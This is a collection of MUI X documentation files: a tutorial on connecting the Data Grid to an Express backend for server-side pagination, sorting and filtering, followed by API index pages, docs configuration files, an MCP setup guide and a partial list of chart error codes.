If you'd rather skip the tutorial entirely, you can check out [the complete app code on GitHub](https://github.com/mui/mui-x/tree/master/examples/server-side-data/).
:::

## Prerequisites

- Basic React knowledge
- Understanding of TypeScript interfaces
- Familiarity with async/await and fetch APIs

### Relevant documentation

The docs listed below may be useful if you're new to the MUI X Data Grid:

- [Server-side data with the Data Source layer](/x/react-data-grid/server-side-data/)
- [Column definition](/x/react-data-grid/column-definition/)
- [Pagination](/x/react-data-grid/pagination/)
- [Sorting](/x/react-data-grid/sorting/)

## Part one: App setup

In part one, you'll set up the basic scaffolding for a full-stack React app using Vite on the front end and Express.js for the back end.

### 1. Create the project structure

Create a new directory and set up the folder structure:

```bash
mkdir server-side-data &&
cd server-side-data &&
mkdir client server
```

### 2. Initialize the server

Navigate to the server directory and initialize:

```bash
cd server &&
pnpm init
```

Install server dependencies:

```bash
pnpm install express cors &&
pnpm install --save-dev typescript @types/express @types/node tsx
```

:::success
This tutorial uses pnpm, but all MUI libraries are also compatible with npm and yarn.
See the [Material UI installation page](https://mui.com/material-ui/getting-started/installation/) for more details.
:::

Create a `tsconfig.json` file:

```json
{
  "compilerOptions": {
    "target": "ES2020",
    "module": "commonjs",
    "outDir": "./dist",
    "rootDir": "./src",
    "strict": true,
    "esModuleInterop": true,
    "skipLibCheck": true,
    "forceConsistentCasingInFileNames": true
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules"]
}
```

### 3. Initialize the client

Navigate to the client directory and create a React app with Vite in TypeScript:

```bash
cd ../client &&
pnpm create vite@latest . -- --template react-ts &&
pnpm install
```

Install Material UI and MUI X dependencies:

```bash
pnpm install @mui/material @emotion/react @emotion/styled @mui/icons-material @mui/x-data-grid @fontsource/roboto
```

### 4. Set up the server code

Create `server/src/index.ts` and add the following code:

```
/* Detailed source-code truncated for AI context efficiency. */
```

**What's happening here:**

- Express.js server is set up with CORS enabled for cross-origin requests
- Dummy employee data simulates a database
- `/api/employees` endpoint is created with pagination, sorting, and filtering
- Filters can be applied based on column field, operator, and value
- Data can be sorted by specified fields in ascending or descending order
- Results are paginated using `page` and `pageSize` parameters
- Data is returned in the format expected by the Data Grid

:::info
This tutorial's backend server implements basic server-side functionality:

- Pagination: Index-based pagination with `page` and `pageSize` parameters
- Sorting: Single-column sorting in ascending or descending order
- Filtering: Supports operators like `contains`, `equals`, `startsWith`, `endsWith`, `isEmpty`, and `isNotEmpty` with `And`/`Or` logic operators

If your app requires additional features (such as [multi-column sorting](/x/react-data-grid/sorting/#multi-sorting), [advanced filtering operators](/x/react-data-grid/filtering/customization/), [cursor-based pagination](/x/react-data-grid/server-side-data/recipes/#cursor-based-pagination), or other server-side operations), you'll need to implement them in your backend accordingly.
:::

### 5. Add scripts to package.json files

In `server/package.json`, add:

```json
{
  "scripts": {
    "dev": "tsx watch src/index.ts",
    "build": "tsc",
    "start": "node dist/index.js"
  }
}
```

### 6. Set up the client code

In the `client` directory, add a new directory called `components`.
Inside `components`, add a new file named `EmployeeDataGrid.tsx` with the following boilerplate.
(You'll build out this component in part two of this tutorial.)

```tsx
import { useMemo } from 'react';
import {
  DataGrid,
  type GridColDef,
  type GridDataSource,
  type GridGetRowsParams,
  type GridGetRowsResponse,
} from '@mui/x-data-grid';
import { Box, Typography } from '@mui/material';

const EmployeeDataGrid = () => {
  return (
    <Box sx={{ height: 600, width: '100%' }}>
      <Typography variant="h4" component="h1" gutterBottom>
        MUI X Data Grid with the Data Source layer
      </Typography>
      <Typography variant="body1" color="text.secondary" sx={{ mb: 3 }}>
        Server-side data with pagination, sorting, and filtering.
      </Typography>
    </Box>
  );
};

export default EmployeeDataGrid;
```

Update `client/src/App.tsx` with the boilerplate setup below:

```tsx
import * as React from 'react';
import CssBaseline from '@mui/material/CssBaseline';
import { Container } from '@mui/material';
import EmployeeDataGrid from './components/EmployeeDataGrid';

function App() {
  return (
    <React.Fragment>
      <CssBaseline />
      <Container maxWidth="lg" sx={{ py: 4 }}>
        <EmployeeDataGrid />
      </Container>
    </React.Fragment>
  );
}

export default App;
```

**What's happening here:**

- `CssBaseline` is a Material UI component that applies consistent baseline CSS styles across different browsers, removing default margins and padding, and setting up consistent font rendering.

Replace the boilerplate code in `client/src/main.tsx` with the following:

```tsx
import * as React from 'react';
import * as ReactDOM from 'react-dom/client';
import App from './App';

ReactDOM.createRoot(document.getElementById('root')!).render(
  <React.StrictMode>
    <App />
  </React.StrictMode>,
);
```

### 7. Run the application

Start the server:

```bash
cd server
pnpm run dev
```

In a new terminal, start the client:

```bash
cd client
pnpm run dev
```

The server runs on `http://localhost:3001` and the client on `http://localhost:5173`.

## Part two: Data Grid setup

In this section, you'll build out the Grid's data fetching functionality.
All steps that follow take place in the `EmployeeDataGrid.tsx` component you created in step 6.

### 8. Define the data structure

Define what your data looks like by creating interfaces that match your server response.
Add the following interfaces below the imports in `EmployeeDataGrid.tsx`:

```tsx
interface Employee {
  id: number;
  name: string;
  email: string;
  role: string;
  department: string;
  salary: number;
  startDate: string;
}

interface ApiResponse {
  data: Employee[];
  total: number;
  page: number;
  pageSize: number;
}
```

**What's happening here:**

- `Employee` defines the structure of each row in your grid
- `ApiResponse` defines what the server sends back, including metadata like total count and pagination info
- The `total` field tells the grid how many total rows exist

### 9. Define the grid columns

Below the interfaces, define how each column should appear and behave:

```tsx
const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID', width: 80 },
  { field: 'name', headerName: 'Name', width: 200 },
  { field: 'email', headerName: 'Email', width: 250 },
  { field: 'role', headerName: 'Role', width: 150 },
  { field: 'department', headerName: 'Department', width: 150 },
  { field: 'salary', headerName: 'Salary', width: 120 },
  { field: 'startDate', headerName: 'Start Date', width: 130 },
];

const EmployeeDataGrid = () => { //...
```

**What's happening here:**

- `field` maps to the property names in your `Employee` interface
- `headerName` is what users see in the column header
- `width` sets the initial column width in pixels
- Each column automatically supports sorting and filtering

### 10. Set up GridDataSource

The `GridDataSource` tells the Grid how to fetch data:

```tsx
function EmployeeDataGrid() {
  const dataSource: GridDataSource = React.useMemo(
    () => ({
      getRows: async (params: GridGetRowsParams): Promise<GridGetRowsResponse> => {
        // You'll implement this function next
      },
    }),
    [],
  );

  return (
    <Box sx={{ height: 600, width: '100%' }}>
      <Typography variant="h4" component="h1" gutterBottom>
        MUI X Data Grid with the Data Source layer
      </Typography>
      <Typography variant="body1" color="text.secondary" sx={{ mb: 3 }}>
        Server-side data with pagination, sorting, and filtering.
      </Typography>
    </Box>
  );
}
```

**What's happening here:**

- `getRows()` is an async function that the grid calls whenever it needs data
- `params` contains all the information about what data the grid needs
- Wrap it in `React.useMemo` to prevent recreating the function on every render

### 11. Build the URL parameters

Inside `getRows()`, construct the API call with the grid's current state:

```tsx
const dataSource: GridDataSource = useMemo(
  () => ({
    getRows: async (params: GridGetRowsParams): Promise<GridGetRowsResponse> => {
      const urlParams = new URLSearchParams({
        paginationModel: JSON.stringify(params.paginationModel),
        sortModel: JSON.stringify(params.sortModel || []),
        filterModel: JSON.stringify(params.filterModel || {}),
      });
    },
  }),
  [],
);
```

**What's happening here:**

- `params.paginationModel` contains the pagination state
- `params.sortModel` contains which columns are sorted and in what direction
- `params.filterModel` contains any active filters

### 12. Make the API call

Fetch the data from your server:

```tsx
getRows: async (params: GridGetRowsParams): Promise<GridGetRowsResponse> => {
  const urlParams = new URLSearchParams({
    paginationModel: JSON.stringify(params.paginationModel),
    sortModel: JSON.stringify(params.sortModel || []),
    filterModel: JSON.stringify(params.filterModel || {}),
  });

  const response = await fetch(`http://localhost:3001/api/employees?${urlParams.toString()}`);

  if (!response.ok) {
    throw new Error(`HTTP error! status: ${response.status}`);
  }

  const result: ApiResponse = await response.json();

  return {
    rows: result.data,
    rowCount: result.total,
  };
},
```

### 13. Return the data to the grid

Return the data in the format the Grid expects:

```tsx
return {
  rows: result.data,
  rowCount: result.total,
};
```

### 14. Put it all together

Combining steps 10 through 13, the complete Data Source looks like this:

```tsx
const dataSource: GridDataSource = useMemo(
  () => ({
    getRows: async (params: GridGetRowsParams): Promise<GridGetRowsResponse> => {
      const urlParams = new URLSearchParams({
        paginationModel: JSON.stringify(params.paginationModel),
        sortModel: JSON.stringify(params.sortModel || []),
        filterModel: JSON.stringify(params.filterModel || {}),
      });

      const response = await fetch(
        `http://localhost:3001/api/employees?${urlParams.toString()}`,
      );

      if (!response.ok) {
        throw new Error(`HTTP error! status: ${response.status}`);
      }

      const result: ApiResponse = await response.json();

      return {
        rows: result.data,
        rowCount: result.total,
      };
    },
  }),
  [],
);
```

### 15. Render the Data Grid

Finally, render the Grid with your configuration:

```tsx
<DataGrid
  columns={columns}
  dataSource={dataSource}
  pagination
  pageSizeOptions={[5, 10, 25, 100]}
  disableRowSelectionOnClick
/>
```

**What's happening here:**

- `columns` defines your column structure
- `dataSource` provides your server-side data fetching logic
- `pagination` enables pagination controls
- `pageSizeOptions` lets users choose how many rows to see per page
- `disableRowSelectionOnClick` prevents row selection when clicking cells

### 16. Add the UI wrapper

Wrap everything in a container:

```tsx
return (
  <Box sx={{ height: 600, width: '100%' }}>
    <Typography variant="h4" component="h1" gutterBottom>
      Employee Management
    </Typography>
    <Typography variant="body1" color="text.secondary" sx={{ mb: 3 }}>
      Server-side data with pagination, sorting, and filtering
    </Typography>

    <DataGrid
      columns={columns}
      dataSource={dataSource}
      pagination
      pageSizeOptions={[5, 10, 25, 100]}
      disableRowSelectionOnClick
    />
  </Box>
);
```

### 17. Complete component code

Here is the complete `EmployeeDataGrid.tsx` component:

```
/* Detailed source-code truncated for AI context efficiency. */
```

Now your Data Grid should successfully fetch and render the dummy data from your server, and sorting, filtering, and pagination should all work as expected.

## Learn more

To learn more about the features covered in this tutorial, check out the [server-side data documentation](/x/react-data-grid/server-side-data/).

---

### Pages X Api Data Grid Index (`docs/pages/x/api/data-grid/index.md`)

# Data Grid - API Reference

<p class="description">This page contains an index to the most important APIs of the Data Grid.</p>

## Components

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)
- [GridFilterForm](/x/api/data-grid/grid-filter-form/)
- [GridFilterPanel](/x/api/data-grid/grid-filter-panel/)
- [GridToolbarQuickFilter](/x/api/data-grid/grid-toolbar-quick-filter/)
- [Toolbar](/x/api/data-grid/toolbar/)
- [ToolbarButton](/x/api/data-grid/toolbar-button/)
- [ExportCsv](/x/api/data-grid/export-csv/)
- [ExportExcel](/x/api/data-grid/export-excel/)
- [ExportPrint](/x/api/data-grid/export-print/)
- [QuickFilter](/x/api/data-grid/quick-filter/)
- [QuickFilterControl](/x/api/data-grid/quick-filter-control/)
- [QuickFilterClear](/x/api/data-grid/quick-filter-clear/)
- [QuickFilterTrigger](/x/api/data-grid/quick-filter-trigger/)
- [ColumnsPanelTrigger](/x/api/data-grid/columns-panel-trigger/)
- [FilterPanelTrigger](/x/api/data-grid/filter-panel-trigger/)
- [PivotPanelTrigger](/x/api/data-grid/pivot-panel-trigger/)
- [ChartsPanelTrigger](/x/api/data-grid/charts-panel-trigger/)
- [AiAssistantPanelTrigger](/x/api/data-grid/ai-assistant-panel-trigger/)
- [PromptField](/x/api/data-grid/prompt-field/)
- [PromptFieldRecord](/x/api/data-grid/prompt-field-record/)
- [PromptFieldControl](/x/api/data-grid/prompt-field-control/)
- [PromptFieldSend](/x/api/data-grid/prompt-field-send/)

## Interfaces

- [GridApi](/x/api/data-grid/grid-api/)
- [GridCellParams](/x/api/data-grid/grid-cell-params/)
- [GridColDef](/x/api/data-grid/grid-col-def/)
- [GridSingleSelectColDef](/x/api/data-grid/grid-single-select-col-def/)
- [GridActionsColDef](/x/api/data-grid/grid-actions-col-def/)
- [GridListViewColDef](/x/api/data-grid/grid-list-view-col-def/)
- [GridExportStateParams](/x/api/data-grid/grid-export-state-params/)
- [GridFilterItem](/x/api/data-grid/grid-filter-item/)
- [GridFilterModel](/x/api/data-grid/grid-filter-model/)
- [GridFilterOperator](/x/api/data-grid/grid-filter-operator/)
- [GridRenderContext](/x/api/data-grid/grid-render-context/)
- [GridRowClassNameParams](/x/api/data-grid/grid-row-class-name-params/)
- [GridRowParams](/x/api/data-grid/grid-row-params/)
- [GridRowSpacingParams](/x/api/data-grid/grid-row-spacing-params/)
- [GridAggregationFunction](/x/api/data-grid/grid-aggregation-function/)
- [GridAggregationFunctionDataSource](/x/api/data-grid/grid-aggregation-function-data-source/)
- [GridCsvExportOptions](/x/api/data-grid/grid-csv-export-options/)
- [GridPrintExportOptions](/x/api/data-grid/grid-print-export-options/)
- [GridExcelExportOptions](/x/api/data-grid/grid-excel-export-options/)

## Events

- [Catalog](/x/react-data-grid/events/#catalog-of-events)

---

### Pages X Api Date Pickers Index (`docs/pages/x/api/date-pickers/index.md`)

# Date and Time Pickers - API Reference

<p class="description">This page contains an index to the most important APIs of the Date and Time Pickers.</p>

## Components

### Pickers

#### Date Pickers

- [DatePicker](/x/api/date-pickers/date-picker/)
- [DesktopDatePicker](/x/api/date-pickers/desktop-date-picker/)
- [MobileDatePicker](/x/api/date-pickers/mobile-date-picker/)
- [StaticDatePicker](/x/api/date-pickers/static-date-picker/)

#### Time Pickers

- [TimePicker](/x/api/date-pickers/time-picker/)
- [DesktopTimePicker](/x/api/date-pickers/desktop-time-picker/)
- [MobileTimePicker](/x/api/date-pickers/mobile-time-picker/)
- [StaticTimePicker](/x/api/date-pickers/static-time-picker/)

#### Date Time Pickers

- [DateTimePicker](/x/api/date-pickers/date-time-picker/)
- [DesktopDateTimePicker](/x/api/date-pickers/desktop-date-time-picker/)
- [MobileDateTimePicker](/x/api/date-pickers/mobile-date-time-picker/)
- [StaticDateTimePicker](/x/api/date-pickers/static-date-time-picker/)

#### Date Range Pickers [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

- [DateRangePicker](/x/api/date-pickers/date-range-picker/)
- [DesktopDateRangePicker](/x/api/date-pickers/desktop-date-range-picker/)
- [MobileDateRangePicker](/x/api/date-pickers/mobile-date-range-picker/)
- [StaticDateRangePicker](/x/api/date-pickers/static-date-range-picker/)

#### Time Range Pickers [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

- [TimeRangePicker](/x/api/date-pickers/time-range-picker/)
- [DesktopTimeRangePicker](/x/api/date-pickers/desktop-time-range-picker/)
- [MobileTimeRangePicker](/x/api/date-pickers/mobile-time-range-picker/)

#### Date Time Range Pickers [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

- [DateTimeRangePicker](/x/api/date-pickers/date-time-range-picker/)
- [DesktopDateTimeRangePicker](/x/api/date-pickers/desktop-date-time-range-picker/)
- [MobileDateTimeRangePicker](/x/api/date-pickers/mobile-date-time-range-picker/)

### Fields

- [DateField](/x/api/date-pickers/date-field/)
- [TimeField](/x/api/date-pickers/time-field/)
- [DateTimeField](/x/api/date-pickers/date-time-field/)
- [MultiInputDateRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/multi-input-date-range-field/)
- [SingleInputDateRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/single-input-date-range-field/)
- [MultiInputTimeRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/multi-input-time-range-field/)
- [SingleInputTimeRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/single-input-time-range-field/)
- [MultiInputDateTimeRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/multi-input-date-time-range-field/)
- [SingleInputDateTimeRangeField [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/single-input-date-time-range-field/)

### Calendars

- [DateCalendar](/x/api/date-pickers/date-calendar/)
- [DateRangeCalendar [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/date-range-calendar/)
- [MonthCalendar](/x/api/date-pickers/month-calendar/)
- [YearCalendar](/x/api/date-pickers/year-calendar/)

### Clocks

- [TimeClock](/x/api/date-pickers/time-clock/)
- [DigitalClock](/x/api/date-pickers/digital-clock/)
- [MultiSectionDigitalClock](/x/api/date-pickers/multi-section-digital-clock/)

### Toolbars

- [DatePickerToolbar](/x/api/date-pickers/date-picker-toolbar/)
- [TimePickerToolbar](/x/api/date-pickers/time-picker-toolbar/)
- [DateTimePickerToolbar](/x/api/date-pickers/date-time-picker-toolbar/)
- [DateRangePickerToolbar [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/date-range-picker-toolbar/)
- [TimeRangePickerToolbar [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/time-range-picker-toolbar/)
- [DateTimeRangePickerToolbar [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/date-time-range-picker-toolbar/)

### Others

- [DateRangePickerDay [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/date-range-picker-day/)
- [DateTimePickerTabs](/x/api/date-pickers/date-time-picker-tabs/)
- [TimeRangePickerTabs [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/time-range-picker-tabs/)
- [DateTimeRangePickerTabs [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')](/x/api/date-pickers/date-time-range-picker-tabs/)
- [DayCalendarSkeleton](/x/api/date-pickers/day-calendar-skeleton/)
- [LocalizationProvider](/x/api/date-pickers/localization-provider/)
- [PickersCalendarHeader](/x/api/date-pickers/pickers-calendar-header/)
- [PickerDay](/x/api/date-pickers/picker-day/)

---

### Package.Json (`docs/package.json`)

{
  "name": "docs",
  "private": true,
  "scripts": {
    "build": "rimraf ./export && cross-env NODE_ENV=production next build --webpack && pnpm link-check",
    "build:clean": "rimraf .next && pnpm build",
    "dev": "cross-env-shell 'next dev --port ${PORT:-3001}'",
    "deploy": "git fetch upstream master && git push -f upstream FETCH_HEAD:docs-v9",
    "icons": "rimraf public/static/icons/* && node ./scripts/buildIcons.js",
    "serve": "serve ./export -l 3010 -c ../serve.json",
    "create-playground": "node ./scripts/createPlayground.js",
    "typescript": "tsc -p tsconfig.json",
    "typescript:transpile": "cross-env BABEL_ENV=development node scripts/formattedTSDemos",
    "typescript:transpile:dev": "cross-env BABEL_ENV=development node scripts/formattedTSDemos --watch",
    "populate:demos": "tsx scripts/populatePickersDemos",
    "link-check": "tsx ./scripts/reportBrokenLinks.mts"
  },
  "dependencies": {
    "@atlaskit/pragmatic-drag-and-drop": "catalog:",
    "@babel/core": "catalog:",
    "@date-fns/tz": "catalog:",
    "@docsearch/react": "^4.7.1",
    "@emotion/cache": "catalog:",
    "@emotion/react": "catalog:",
    "@emotion/server": "^11.11.0",
    "@emotion/styled": "catalog:",
    "@mui/icons-material": "catalog:",
    "@mui/internal-core-docs": "catalog:",
    "@mui/internal-docs-infra": "^0.13.1-canary.0",
    "@mui/material": "catalog:",
    "@mui/material-nextjs": "^9.5.0",
    "@mui/stylis-plugin-rtl": "catalog:",
    "@mui/system": "catalog:",
    "@mui/utils": "catalog:",
    "@mui/x-charts": "workspace:^",
    "@mui/x-charts-premium": "workspace:^",
    "@mui/x-charts-pro": "workspace:^",
    "@mui/x-charts-vendor": "workspace:^",
    "@mui/x-chat": "workspace:^",
    "@mui/x-chat-headless": "workspace:^",
    "@mui/x-data-grid": "workspace:^",
    "@mui/x-data-grid-generator": "workspace:^",
    "@mui/x-data-grid-premium": "workspace:^",
    "@mui/x-data-grid-pro": "workspace:^",
    "@mui/x-date-pickers": "workspace:^",
    "@mui/x-date-pickers-pro": "workspace:^",
    "@mui/x-internals": "workspace:^",
    "@mui/x-license": "workspace:^",
    "@mui/x-scheduler": "workspace:^",
    "@mui/x-scheduler-internals": "workspace:^",
    "@mui/x-scheduler-internals-premium": "workspace:^",
    "@mui/x-scheduler-premium": "workspace:^",
    "@mui/x-tree-view": "workspace:^",
    "@mui/x-tree-view-pro": "workspace:^",
    "@react-spring/web": "catalog:",
    "@tanstack/query-core": "^5.104.1",
    "@tanstack/react-query": "^5.104.1",
    "chance": "catalog:",
    "clsx": "catalog:",
    "cross-env": "catalog:",
    "d3-scale-chromatic": "^3.1.0",
    "date-fns": "catalog:",
    "date-fns-jalali": "catalog:",
    "dayjs": "catalog:",
    "es-toolkit": "catalog:",
    "jscodeshift": "catalog:",
    "luxon": "catalog:",
    "markdown-to-jsx": "^9.10.3",
    "moment": "catalog:",
    "moment-hijri": "catalog:",
    "moment-jalaali": "catalog:",
    "moment-timezone": "catalog:",
    "motion": "catalog:",
    "next": "^16.4.0",
    "prop-types": "catalog:",
    "react": "catalog:",
    "react-dom": "catalog:",
    "react-hook-form": "^7.89.0",
    "react-runner": "^1.0.5",
    "react-simple-code-editor": "^0.14.1",
    "rifm": "1.1.0",
    "rimraf": "catalog:",
    "rxjs": "^7.8.2",
    "semver": "7.8.5",
    "stylis": "catalog:",
    "topojson-client": "^3.1.0",
    "us-atlas": "^3.0.1",
    "webpack-bundle-analyzer": "^5.4.0",
    "visionscarto-world-atlas": "^1.0.0"
  },
  "devDependencies": {
    "@babel/preset-typescript": "catalog:",
    "@mui/internal-docs-utils": "3.0.8-canary.0",
    "@types/chance": "catalog:",
    "@types/d3-scale-chromatic": "3.1.0",
    "@types/luxon": "catalog:",
    "@types/moment-hijri": "catalog:",
    "@types/moment-jalaali": "catalog:",
    "@types/prop-types": "catalog:",
    "@types/react-dom": "catalog:",
    "@types/semver": "catalog:",
    "@types/stylis": "4.2.7",
    "@types/topojson-client": "3.1.5",
    "@types/topojson-specification": "1.0.5",
    "@types/webpack-bundle-analyzer": "4.7.0",
    "gm": "1.25.1",
    "serve": "catalog:"
  }
}

---

### Tsconfig.Json (`docs/tsconfig.json`)

{
  "extends": "../tsconfig.json",
  "compilerOptions": {
    "allowJs": true,
    /* files are emitted by babel */
    "noEmit": true,
    "noUnusedLocals": true,
    "resolveJsonModule": true,
    "skipLibCheck": true,
    "esModuleInterop": true,
    "incremental": true,
    "jsx": "preserve",
    "types": ["@mui/internal-test-utils/initMatchers", "next"]
  },
  "include": [
    "next-env.d.ts",
    "next.config.mjs",
    "docs-env.d.ts",
    "src",
    "pages/**/*.ts*",
    "data",
    "../test/utils/addChaiAssertions.ts",
    "../test/utils/momentLocale.d.ts"
  ],
  "exclude": ["docs/.next", "docs/export", "pages/playground"]
}

---

### Scripts Tsconfig.Json (`docs/scripts/tsconfig.json`)

{
  "extends": "../../tsconfig.json",
  "include": ["api/buildApi.ts"],
  "compilerOptions": {
    "allowJs": true,
    "noEmit": true,
    "noUnusedLocals": true,
    "resolveJsonModule": true,
    "skipLibCheck": true,
    "esModuleInterop": true,
    "types": ["node"],
    "noImplicitAny": false
  },
  "exclude": ["node_modules"]
}

---

### Data Introduction Mcp (`docs/data/introduction/mcp.md`)

# Model Context Protocol (MCP) for MUI

<p class="description">Gain access to the official docs and code examples in your AI client.</p>

## What is MCP?

The Model Context Protocol (MCP) is a new open standard for connecting AI assistants to real, trusted sources of documentation and code.
For users, this means you get answers that are accurate, up-to-date, and directly reference the official docs.

Want to learn more about MCP?
See the [official MCP documentation](https://modelcontextprotocol.io/docs/getting-started/intro).

## Why MCP?

Popular AI coding assistants are excellent at providing answers, especially to straightforward questions.
However, when faced with a deeper, more complex question which requires understanding concepts from multiple parts of the documentation, they often hallucinate links, cite non-existent documentation, or provide answers that are hard to verify.
MCP solves these problems by:

- Quoting **real, direct sources** in answers
- Linking to **actual documentation** - no imaginary links that lead to 404s
- Using component code from officially published registries

## Installation & Setup

The MCP is available as a separate package that runs locally and communicates via your AI client using the `stdio` transport.
Use the following command to test the MCP in the [MCP inspector](https://modelcontextprotocol.io/docs/tools/inspector):

```bash
npx -y @mui/mcp@latest
```

### Cursor/Windsurf

1. Open MCP configuration in Windsurf ("Settings" -> "MCP" -> "Add Server")
2. Add a new MCP:

```json
"mcp": {
  "servers": {
    "mui-mcp": {
      "type": "stdio",
      "command": "npx",
      "args": ["-y", "@mui/mcp@latest"]
    }
  }
}
```

### VS Code

Apart from the setup provided above, VS Code requires the following conditions to be met for the MCP to be usable:

1. Enable Agent mode (for Copilot Chat)
2. Add the following to your `settings.json`:

```json
  "chat.mcp.enabled": true,
  "chat.mcp.discovery.enabled": true
```

### Zed

There are two ways you can add the Material UI MCP server in Zed:

#### As an extension

Go to the Extensions page either via the keybinding `cmd-shift-x`/`ctrl-shift-x` (macOS/Linux), or via the Command Palette, searching for `zed: extensions`.

Then, search for "MUI MCP" and install the extension.
No configuration is required to have this server working, but you can optionally add the `preferred_theme` and `component_filter` fields.

#### As a custom server

This approach is essentially the same as adding it in VS Code and forks.

1. Search for `agent: add context server` in the Command Palette.
2. Add the following JSON in the modal:

```json
{
  "mui-mcp-server": {
    "command": {
      "path": "npx",
      "args": ["-y", "@mui/mcp@latest"]
      "env": {}
    }
  }
}
```

---

For more details, examples, and troubleshooting, see the full MCP server [documentation and guide on the Material UI Docs](https://mui.com/material-ui/getting-started/mcp/)

---

### Data Whats New Whats New (`docs/data/whats-new/whats-new.md`)

---
title: What's new in MUI X
---

# What's new in MUI X

<p class="description">Discover all the latest new features and other highlights.</p>

{{"component": "modules/components/WhatsNewLayout.js"}}

---

### Pages Playground Tsconfig.Json (`docs/pages/playground/tsconfig.json`)

{
  "extends": "../../tsconfig.json",
  "include": ["**/*"],
  "exclude": []
}

---

### Public Static Error Codes.Json (`docs/public/static/error-codes.json`)

{
  "1": "MUI X Charts: %s should be of type \"band\" to display the bar series of id \"%s\". Bar charts require a band scale for the category axis to properly position and size the bars. Set the scaleType to \"band\" for this axis.",
  "2": "MUI X Charts: %s should have a data property. The axis needs data to define the categories for the bar chart. Provide a data array to the axis configuration.",
  "3": "MUI X Charts: %s should be a continuous type to display the bar series of id \"%s\". Bar charts require a continuous scale (like \"linear\" or \"log\") for the value axis. Change the scaleType to a continuous type such as \"linear\".",
  "4": "MUI X Charts: The ChartsReferenceLine cannot have both `x` and `y` props set. A reference line can only be vertical (x) or horizontal (y), not both. Remove either the `x` or `y` prop.",
  "5": "MUI X Charts: The ChartsReferenceLine requires either an `x` or `y` prop. Without a value, the reference line cannot be positioned on the chart. Provide either an `x` value for a vertical line or a `y` value for a horizontal line.",
  "6": "Prop '%s' is required but wasn't specified",
  "7": "MUI X: Expected prop '%s' to be of type Element",
  "8": "MUI X Charts: ChartsGroupedXAxis only supports the `band` and `point` scale types. Grouped axis ticks require an ordinal scale to display category groupings. Use a band or point scale type for the x-axis, or use a non-grouped axis component.",
  "9": "MUI X Charts: ChartsGroupedYAxis only supports the `band` and `point` scale types. Grouped axis ticks require an ordinal scale to display category groupings. Use a band or point scale type for the y-axis, or use a non-grouped axis component.",
  "10": "MUI X Charts: %s should have a data property to be able to display a line plot. The x-axis data defines the positions for each point in the line. Provide a data array to the x-axis configuration.",
  "11": "MUI X Charts: Could not find the Charts Slots context. This happens when the component is rendered outside of a ChartsDataProvider or ChartsContainer parent component, which means the required context is not available. Wrap your component in a ChartsDataProvider or ChartsContainer. This can also happen if you are bundling multiple versions of the library.",
  "12": "MUI X Charts: Could not find the charts localization context. This happens when the component is rendered without a ChartsLocalizationProvider. Wrap your component in a ChartsLocalizationProvider. This can also happen if you are bundling multiple versions of the `@mui/x-charts` package.",
  "13": "MUI X Charts: byteOffset must be 8-byte aligned. The spatial index requires proper memory alignment for performance. Ensure the byteOffset is a multiple of 8.",
  "14": "MUI X Charts: Data must be an instance of ArrayBuffer or SharedArrayBuffer. The spatial index requires a valid buffer to store data. Provide an ArrayBuffer or SharedArrayBuffer instance.",
  "15": "MUI X Charts: Data does not appear to be in a Flatbush format. The buffer does not contain valid spatial index data. Ensure you are loading data that was created by Flatbush.",
  "16": "MUI X Charts: Got v%s data when expected v%s. The spatial index data version is incompatible. Recreate the index using the current version.",
  "17": "MUI X Charts: Unrecognized array type in spatial index data. The data contains an unsupported typed array type. Recreate the index using a supported array type.",
  "18": "MUI X Charts: Missing required argument \"numItems\" for spatial index. The index needs to know how many items it will contain. Provide the expected number of items as the first argument.",
  "19": "MUI X Charts: Unexpected numItems value: %s. The spatial index requires a positive integer for numItems. Provide a positive number greater than 0.",
  "20": "MUI X Charts: Unexpected typed array class: %s. The spatial index only supports standard typed array types. Use one of: Int8Array, Uint8Array, Int16Array, Uint16Array, Int32Array, Uint32Array, Float32Array, or Float64Array.",
  "21": "MUI X Charts: Added %s items when expected %s. The number of items added does not match the expected count. Ensure you add exactly the number of items specified when creating the index.",
  "22": "MUI X Charts: Spatial index data not yet indexed. The search cannot be performed until indexing is complete. Call index.finish() before performing searches.",
  "23": "MUI X Charts: Spatial index data not yet indexed. The neighbors search cannot be performed until indexing is complete. Call index.finish() before performing neighbor searches.",
  "24": "MUI X Charts: Only one CartesianSeriesTypes instance can be created. This is a singleton class used internally for series type registration. Use the existing instance instead of creating a new one.",
  "25": "MUI X Charts: Only one PolarSeriesTypes instance can be created. This is a singleton class used internally for series type registration. Use the existing instance instead of creating a new one.",
  "26": "MUI X Charts: Received an unknown value \"%s\". Values must be a number, a string with a percentage (e.g., \"50%\"), or a string with pixels (e.g., \"100px\"). Provide a valid number or string format.",
  "27": "MUI X Charts: Line series with id=\"%s\" has no data. The chart cannot render this series without data. Provide a data property to the series or use the dataset prop.",
  "28": "MUI X Charts: The %s was not found. This is required to compute the radar chart dataIndex. Ensure the radar chart is properly initialized with all required axes.",
